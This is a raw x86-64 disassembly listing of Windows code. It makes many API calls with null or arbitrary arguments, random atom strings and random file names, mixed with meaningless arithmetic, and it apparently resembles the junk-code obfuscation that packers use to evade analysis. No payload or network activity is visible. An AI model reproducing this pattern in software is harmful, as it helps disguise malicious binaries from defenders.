lea rcx, [rsp + 0x1ee50]
call qword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [rsp + 0x4884], eax
movzx eax, byte [rsp + 0xee]
mov rcx, qword [rsp + 0x8e78]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8f18]
mov byte [rcx], al
mov eax, dword [rsp + 0x4684]
mov dword [rsp + 0x4898], eax
lea r9, [rsp + 0xa54]
mov r8d, 0x74
mov rdx, qword [rsp + 0x94b0]
mov rcx, qword [rsp + 0x8dd0]
call sub.WINSPOOL.DRV_SetPortW
mov dword [rsp + 0x4678], eax
lea rax, [rsp + 0x94c8]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x8ea0]
mov qword [rsp + 0x20], rax
mov r9d, 0x22
lea r8, [rsp + 0x94d0]
mov edx, 0xfc
mov rcx, qword [rsp + 0x94d8]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x472c], eax
jmp 0x14003ffd9
mov r8d, 0xcf
mov rdx, qword [rsp + 0x8f58]
mov rcx, qword [rsp + 0x90b0]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
mov rax, qword [rsp + 0x9170]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x93c8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xe6c], ax
lea rcx, [rsp + 0x1a288]
call qword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov qword [rsp + 0x9020], rax
lea rax, [rsp + 0x273]
mov qword [rsp + 0x20], rax
mov r9d, 0x21
lea r8, [rsp + 0x272]
mov edx, 0x17
mov rcx, qword [rsp + 0x91e0]
call sub.WINSPOOL.DRV_GetPrinterW
mov dword [rsp + 0x48e0], eax
jmp 0x14003ffd9
movsx eax, byte [rsp + 0x275]
movsx ecx, byte [rsp + 0x271]
xor eax, ecx
mov rcx, qword [rsp + 0x8f98]
mov byte [rcx], al
mov eax, dword [0x14024f3b8]
mov dword [rsp + 0x48e4], eax
lea r9, [rsp + 0x1f070]
lea r8, [rsp + 0x8110]
xor edx, edx
mov rcx, qword [rsp + 0x8b78]
call sub.COMCTL32.dll_Ordinal_411
mov dword [rsp + 0x4698], eax
mov qword [rsp + 0x20], 0xcf
mov r9, qword [rsp + 0x9378]
mov r8, qword [rsp + 0x9420]
mov rdx, qword [rsp + 0x9150]
mov rcx, qword [rsp + 0x94e0]
call qword [sym.imp.USER32.dll_DialogBoxParamW]
mov dword [rsp + 0x48a0], eax
lea rax, [rsp + 0x8e00]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x8f98]
mov qword [rsp + 0x20], rax
mov r9d, 0xc1
lea r8, [rsp + 0x94e8]
mov edx, 0xad
mov rcx, qword [rsp + 0x94d8]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x48e8], eax
mov rax, qword [rsp + 0x8e68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7a0]
shl eax, cl
mov word [rsp + 0xf00], ax
lea rdx, [rsp + 0x1f2a0]
mov rcx, qword [rsp + 0x9370]
call sub.MAGNIFICATION.dll_MagGetColorEffect
mov dword [rsp + 0x4784], eax
lea rcx, [rsp + 0x1a258]
call qword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov qword [rsp + 0x94f0], rax
mov rax, qword [rsp + 0x8f18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8e78]
mov byte [rcx], al
mov rax, qword [rsp + 0x8e10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4654]
add ecx, eax
mov eax, ecx
mov dword [0x14024f3b8], eax
mov edx, 0xcb
mov rcx, qword [rsp + 0x8fd0]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0x9448], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov rax, qword [rsp + 0x91f0]
mov rax, qword [rax]
mov qword [rsp + 0x94f8], rax
mov rax, qword [0x14024f3c0]
mov rcx, qword [rsp + 0x8e30]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7f10], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9500], rax
movzx eax, byte [rsp + 0x1d3]
mov byte [rsp + 0x48ec], al
cmp byte [rsp + 0x48ec], 4
je 0x140040116
cmp byte [rsp + 0x48ec], 0xc
je 0x14019bac5
cmp byte [rsp + 0x48ec], 0x5a
je 0x14019ba71
cmp byte [rsp + 0x48ec], 0x6c
je 0x14019bd0e
cmp byte [rsp + 0x48ec], 0x79
je 0x140040095
jmp 0x14019bd8f
lea rcx, [rsp + 0x1a2a8]
call qword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov qword [rsp + 0x9508], rax
movsx eax, byte [rsp + 0x271]
movsx ecx, byte [rsp + 0x272]
add eax, ecx
mov byte [rsp + 0x275], al
mov dword [rsp + 0x20], 0xfe
lea r9, [rsp + 0x46d4]
mov r8d, 0x7e
lea rdx, [rsp + 0x9040]
mov rcx, qword [rsp + 0x8d78]
call sub.WINSPOOL.DRV_FlushPrinter
mov dword [rsp + 0x4758], eax
mov eax, dword [0x14022fb5c]
mov ecx, dword [rsp + 0x4878]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ce8]
mov dword [rcx], eax
jmp 0x14019bd8f
movzx eax, byte [rsp + 0xee]
mov rcx, qword [rsp + 0x8f18]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
mov eax, dword [rsp + 0x4648]
mov rcx, qword [rsp + 0x8ce8]
mov qword [rsp + 0x9510], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9510]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4024], eax
lea rcx, [rsp + 0x8d28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rax, [rsp + 0xb4c]
mov qword [rsp + 0x9518], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
lea rcx, str.1_Dv.HQjQJCD_BD
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xf20], ax
movzx ecx, word [rsp + 0xefc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xee0], ax
lea rcx, [rsp + 0x1a3a8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, str.3eML07_HIBq.BfewWefESOd
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xf24], ax
lea rcx, [rsp + 0x8d50]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8e38], rax
movzx ecx, word [rsp + 0xf14]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf28], ax
movsx eax, byte [rsp + 0x273]
movsx ecx, byte [rsp + 0x272]
or eax, ecx
mov byte [rsp + 0x275], al
movzx eax, word [rsp + 0xf00]
mov word [rsp + 0xf2c], ax
mov rax, qword [rsp + 0x8e60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x46e8]
shr eax, cl
mov rcx, qword [rsp + 0x93b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f60]
mov rcx, qword [rsp + 0x7f10]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x91f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e78]
movzx eax, byte [rax]
mov byte [0x14024f3a8], al
lea rcx, [rsp + 0x8f90]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rax, [rsp + 0xf04]
mov qword [rsp + 0x9520], rax
movzx eax, byte [rsp + 0x26f]
mov rcx, qword [rsp + 0x9218]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8e38], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e20], rax
mov rax, qword [rsp + 0x8e10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x483c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x40d4], eax
mov rax, qword [rsp + 0x8e00]
imul eax, dword [rax], 0x35edae96
mov rcx, qword [rsp + 0x8ce8]
mov dword [rcx], eax
lea rcx, str.nZhmlx_G1rbTA
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xf30], ax
movsx eax, word [rsp + 0xb4c]
mov rcx, qword [rsp + 0x93c8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9518]
mov word [rcx], ax
lea rax, [rsp + 0x272]
mov qword [rsp + 0x9528], rax
mov rcx, qword [rsp + 0x9070]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov qword [rsp + 0x20], 0
mov r9d, 0x20b9
mov r8d, 0x12bd
mov edx, 0xa6
mov rcx, qword [rsp + 0x8fa0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x46c0], eax
xor r9d, r9d
lea r8, [rsp + 0x8d40]
mov rdx, qword [rsp + 0x8d40]
mov rcx, qword [rsp + 0x93c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x48f0], eax
movzx ecx, word [rsp + 0xefc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf30], ax
mov rax, qword [rsp + 0x7b18]
mov rcx, qword [rsp + 0x8b08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9208], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov qword [rsp + 0x20], 0
mov r9d, 0x1d0c
mov r8d, 0x3593
mov edx, 0xbe
mov rcx, qword [rsp + 0x8f08]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x48f0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
lea rax, [0x14024f3c8]
mov qword [rsp + 0x9530], rax
lea rdx, [rsp + 0x8d50]
mov rcx, qword [rsp + 0x9180]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x48f4], eax
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x1f5c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4844], eax
mov rax, qword [rsp + 0x8e78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9218]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8e78]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
lea rcx, str.ZM39kDkj_KGwIA9p
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xf34], ax
lea rax, [rsp + 0x4800]
mov qword [rsp + 0x9538], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x1f4a0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x46ec], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
mov dword [rsp + 0x1f800], 0x11c
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8d30], rax
mov rax, qword [rsp + 0x91f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x94f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9080], rax
mov rax, qword [rsp + 0x91f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8110]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9080], rax
movzx ecx, word [rsp + 0xf20]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf14], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.KdoJmKZAqW_aMGyTW3ZusMO5ifZ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9540], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8d30], rax
movzx eax, word [rsp + 0xef0]
mov word [rsp + 0xf38], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
movsx eax, byte [rsp + 0x273]
mov rcx, qword [rsp + 0x9528]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x275], al
mov rax, qword [rsp + 0x93e0]
mov eax, dword [rax]
mov dword [rsp + 0x48f8], eax
mov eax, dword [rsp + 0x485c]
mov dword [rsp + 0x48a8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x8df0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8cf0], rax
lea rcx, [rsp + 0x1a3d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r9d, 0xf96
xor r8d, r8d
lea rdx, [rsp + 0x8d00]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x48fc], eax
movzx eax, byte [rsp + 0x1d3]
movzx ecx, byte [0x140221038]
sar eax, cl
mov rcx, qword [rsp + 0x9218]
mov byte [rcx], al
movzx ecx, word [rsp + 0xf18]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xee8], ax
mov rcx, qword [rsp + 0x93a8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0x1f800]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4900], eax
movzx ecx, word [rsp + 0xf18]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf30], ax
movzx eax, word [rsp + 0xeec]
mov rcx, qword [rsp + 0x9520]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14022fb6c], ax
lea rax, [rsp + 0x8110]
mov qword [rsp + 0x9548], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov rax, qword [rsp + 0x8e30]
mov rcx, qword [rsp + 0x9548]
mov qword [rsp + 0x9550], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9550]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x80e0], rax
lea rcx, [rsp + 0x8df0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9558], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3c84
mov r9d, 0xc5a
mov r8d, 0x3cd5cebb
mov edx, 1
mov rcx, qword [rsp + 0x9540]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x46ec], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea rcx, str.Lr_Ckw1B28.QQXUP0
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xf3c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
movzx eax, word [rsp + 0x7a0]
mov rcx, qword [rsp + 0x8e58]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x694], ax
movsx eax, byte [rsp + 0x273]
movsx ecx, byte [rsp + 0x272]
or eax, ecx
mov byte [rsp + 0x271], al
mov rax, qword [rsp + 0x93e0]
mov eax, dword [rax]
mov ecx, dword [0x14022fb68]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4890], eax
lea rax, [rsp + 0x8410]
mov qword [rsp + 0x9560], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8cf0], rax
mov rcx, qword [rsp + 0x8d00]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, word [rsp + 0xe6c]
mov rcx, qword [rsp + 0x9518]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0xef0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [0x14024f3a8]
mov byte [rsp + 0x277], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov r9d, 2
lea r8, [rsp + 0x8f90]
mov rdx, qword [rsp + 0x9000]
mov rcx, qword [rsp + 0x9180]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x48f4], eax
mov eax, dword [rsp + 0x48b8]
mov dword [0x14024f3a4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 0x1450
xor r8d, r8d
lea rdx, [rsp + 0x93a8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x48c4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
movzx ecx, word [rsp + 0xef4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf40], ax
movzx eax, word [rsp + 0xf2c]
movzx ecx, word [rsp + 0x7a0]
add eax, ecx
mov word [rsp + 0x694], ax
mov eax, dword [rsp + 0x474c]
mov dword [rsp + 0x4880], eax
movzx eax, byte [rsp + 0xee]
mov rcx, qword [rsp + 0x9218]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x205], al
mov rax, qword [rsp + 0x9518]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf38]
add eax, ecx
mov rcx, qword [rsp + 0x9170]
mov word [rcx], ax
mov edx, 0x128f
mov rcx, qword [rsp + 0x8ce0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x48fc], eax
lea rax, [rsp + 0x273]
mov qword [rsp + 0x9568], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov rax, qword [rsp + 0x93e0]
mov rcx, qword [rsp + 0x8ce8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8e00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9538]
mov eax, dword [rax]
mov dword [rsp + 0x4904], eax
mov rax, qword [rsp + 0x8e08]
movzx eax, word [rax]
movzx ecx, word [0x14024f3c8]
and eax, ecx
mov rcx, qword [rsp + 0x9520]
mov word [rcx], ax
movzx eax, byte [rsp + 0x274]
mov byte [0x14024f3a0], al
mov rax, qword [rsp + 0x8cf8]
mov rcx, qword [rsp + 0x8f60]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8110], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9570], rax
lea rax, [rsp + 0x8e30]
mov qword [rsp + 0x9578], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e20], rax
mov rax, qword [rsp + 0x8e30]
mov rcx, qword [rsp + 0x9080]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d38]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x9580], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
movzx ecx, word [rsp + 0xf1c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xefc], ax
lea rax, [rsp + 0x4654]
mov qword [rsp + 0x9588], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [rsp + 0x9330]
mov rcx, qword [rsp + 0x7b18]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9330]
mov qword [rcx], rax
movsx eax, word [rsp + 0xf38]
movsx ecx, word [rsp + 0xef0]
sub eax, ecx
mov rcx, qword [rsp + 0x93c8]
mov word [rcx], ax
mov eax, dword [rsp + 0x4314]
mov dword [rsp + 0x4908], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9590], rax
mov rax, qword [rsp + 0x9160]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x93d8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x273], al
mov rcx, qword [rsp + 0x8ce0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8cf0], rax
lea rax, [rsp + 0x270]
mov qword [0x14024f398], rax
movzx eax, word [rsp + 0x7a0]
movzx ecx, word [rsp + 0x694]
cdq
idiv ecx
mov word [rsp + 0x5cc], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x9598], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov eax, dword [rsp + 0x485c]
mov rcx, qword [rsp + 0x9538]
mov qword [rsp + 0x95a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x95a0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4654], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x95a8], rax
mov rax, qword [rsp + 0x9530]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf2c]
or eax, ecx
mov word [rsp + 0xf0c], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
lea rax, [rsp + 0x277]
mov qword [rsp + 0x95b0], rax
mov rax, qword [rsp + 0x8ce8]
mov eax, dword [rax]
mov dword [rsp + 0x48a0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
movzx ecx, word [rsp + 0xefc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xef8], ax
movzx eax, byte [rsp + 0x271]
mov byte [rsp + 0x278], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, str.KHAsvCkb_zkL4nCZ_VNAkWJUAH
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xf08], ax
movsx eax, word [rsp + 0xa54]
movsx ecx, word [rsp + 0xe6c]
shl eax, cl
mov rcx, qword [rsp + 0x9518]
mov word [rcx], ax
lea rax, [rsp + 0x8110]
mov qword [rsp + 0x95b8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
movzx ecx, word [rsp + 0xee4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf10], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
lea rcx, [rsp + 0x1a3a8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [rsp + 0xf08]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf34], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.0wJVVxaehb9W9qboi5n7
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x95c0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
movzx eax, byte [0x14024f3a8]
movzx ecx, byte [rsp + 0x274]
and eax, ecx
mov byte [0x140221039], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
movzx eax, word [rsp + 0x6d8]
mov rcx, qword [rsp + 0x9530]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x694], ax
mov rax, qword [rsp + 0x9588]
mov rcx, qword [rsp + 0x8e60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4654], eax
movzx ecx, word [rsp + 0xee4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf44], ax
lea rax, [rsp + 0x9208]
mov qword [rsp + 0x95c8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov r9d, 2
lea r8, [rsp + 0x8d50]
mov rdx, qword [rsp + 0x8d40]
mov rcx, qword [rsp + 0x95c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x46c0], eax
mov rax, qword [rsp + 0x9010]
mov rcx, qword [rsp + 0x8d38]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x80e0], rax
lea rcx, [rsp + 0x95d0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x1f6e0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4844], eax
mov rax, qword [rsp + 0x8f98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x271]
add eax, ecx
mov byte [rsp + 0x228], al
mov eax, dword [rsp + 0x4764]
mov ecx, dword [rsp + 0x4890]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x93e0]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x8f68]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0xb4c]
movsx ecx, word [rsp + 0xef0]
and eax, ecx
mov word [rsp + 0xf38], ax
movzx ecx, word [rsp + 0xef8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xefc], ax
mov dword [rsp + 0x20], 0x1f84
mov r9d, 0x1915
mov r8d, 0x2377
mov edx, 0x1ec6
mov rcx, qword [rsp + 0x9180]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4840], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.E4ETSksxMN8FQcJw2r
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x95d8], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e20], rax
mov eax, dword [rsp + 0x48a4]
mov dword [rsp + 0x490c], eax
mov rax, qword [rsp + 0x9520]
movzx eax, word [rax]
mov word [0x14024f394], ax
mov rax, qword [rsp + 0x9218]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9218]
mov byte [rcx], al
movzx ecx, word [rsp + 0xf20]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf24], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e20], rax
mov rax, qword [rsp + 0x9548]
mov rax, qword [rax]
mov qword [rsp + 0x95e0], rax
mov rax, qword [rsp + 0x8cf8]
mov rcx, qword [rsp + 0x93b0]
mov rax, qword [rax]
